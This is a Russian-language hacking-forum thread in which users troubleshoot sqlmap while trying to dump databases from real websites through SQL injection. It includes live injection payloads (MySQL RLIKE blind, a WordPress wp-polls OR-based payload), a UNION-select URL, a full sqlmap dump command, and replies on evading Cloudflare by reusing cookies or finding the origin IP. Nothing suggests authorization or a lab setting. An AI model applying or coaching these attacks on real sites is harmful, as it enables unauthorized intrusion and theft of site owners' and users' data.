Получил данную уязвимость там оказалась одна БД, не считая information_schema, получил таблицы, с первой таблицы сделал дамп, всё ок, пробую другие и везде одно и то же: Code: [15:13:21] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique [15:13:22] [WARNING] unable to retrieve the entries of columns 'name' for table 'Test' in database 'm12540_pc'
как такое может быть, что руками работает самый примитивный запрос HTML: site.com/view.php?cid=1+union+select+1,2,3,4,5,6 , a sqlmap не видит в упор, даже если я ему подсовываю тип базы, кол-во столбиков для Union и левелриски? Подскажите, есть ли мысли..
В чём проблема не выводит BD Code: sqlmap resumed the following injection point(s) from stored session: --- Parameter: address (GET) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: address=if' RLIKE (SELECT (CASE WHEN (1726=1726) THEN 0x6966 ELSE 0x28 END)) AND 'yDAP'='yDAP --- [10:58:47] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [10:58:47] [INFO] testing MySQL [10:58:47] [INFO] confirming MySQL [10:58:47] [INFO] the back-end DBMS is MySQL web application technology: Apache, PHP 7.1.11 back-end DBMS: MySQL >= 5.0.0 [10:58:47] [INFO] fetching database names [10:58:47] [INFO] fetching number of databases [10:58:47] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [10:58:47] [INFO] retrieved: [10:58:48] [WARNING] unexpected HTTP code '404' detected. Will use (extra) validation step in similar cases [10:58:48] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' [10:58:48] [ERROR] unable to retrieve the number of databases [10:58:48] [INFO] falling back to current database [10:58:48] [INFO] fetching current database [10:58:48] [INFO] retrieved: [10:58:49] [CRITICAL] unable to retrieve the database names [10:58:49] [WARNING] HTTP error codes detected during run: 404 (Not Found) - 6 times
Вообще [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' как бы намекает... В твоём случае --no-cast
Добрый день, Не могу получить дамп к нужной таблицы в SQLite: команда: sqlmap -r request.txt -p Param --dbms=sqlite --force-ssl -D SQLite_db -T USERDB --dump На выходе получаем: [INFO] retrieved: CREATE TABLE USERDB ( OID [WARNING] unable to enumerate the columns for table 'USERDB' in database 'SQLite_db' Некоторые таблицы получаю без проблем в этой же базе.
Подскажите есть решение траблы с клаудом? как я понимаю не крутится из-за него [12:11:45] [WARNING] potential browser verification protection mechanism detected (CloudFlare) [12:11:45] [WARNING] the web server responded with an HTTP error code (503) which could interfere with the results of the tests
попробуй вручную пройти верификацию в браузере, cloudflare присвоит тебе куки, затем передай эти куки в sqlmap
попробуй узнать реальный ip и его уже дергать. https://forum.antichat.ru/threads/realnyj-ip-za-cloud-flare-sokrytie-i-poisk.458593/
[22:12:44] [WARNING] the web server responded with an HTTP error code (424) whic h could interfere with the results of the tests sqlmap resumed the following injection point(s) from stored session: --- Parameter: vote (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: wp-polls-nonce=08fc675d54&vote=-6688) OR 8053=8053-- GHAp&poll_3=8& poll_3=9&poll_3=10&archive-dropdown=http://*****.**/2014/05/&poll_id=3 --- [22:12:44] [INFO] the back-end DBMS is Microsoft SQL Server back-end DBMS: Microsoft SQL Server 2016 [22:12:44] [INFO] fetching database names [22:12:44] [INFO] fetching number of databases [22:12:46] [INFO] retrieved: [22:12:46] [ERROR] unable to retrieve the number of databases [22:12:46] [INFO] retrieving the length of query output [22:12:46] [INFO] retrieved: [22:12:47] [INFO] retrieved: [22:12:47] [INFO] falling back to current database [22:12:47] [INFO] fetching current database [22:12:47] [INFO] retrieving the length of query output [22:12:47] [INFO] retrieved: [22:12:48] [INFO] retrieved: [22:12:48] [CRITICAL] unable to retrieve the database names [22:12:48] [WARNING] HTTP error codes detected during run: 424 (?) - 24 times подскажите дальнейшие действия, может команды какойто не хватает? блокируется бд. Тамперы юзал, но толка нет
Включи -v 3 и --parse-errors, там смотри откуда ноги растут. Еще попробуй --no-cast или --hex, иногда прокатывает. Зачарить пробуй.
Нашёл слепую SQL injection на сайте но она в профиле аккаунта Как мне прикрутить сесию или типа того ?
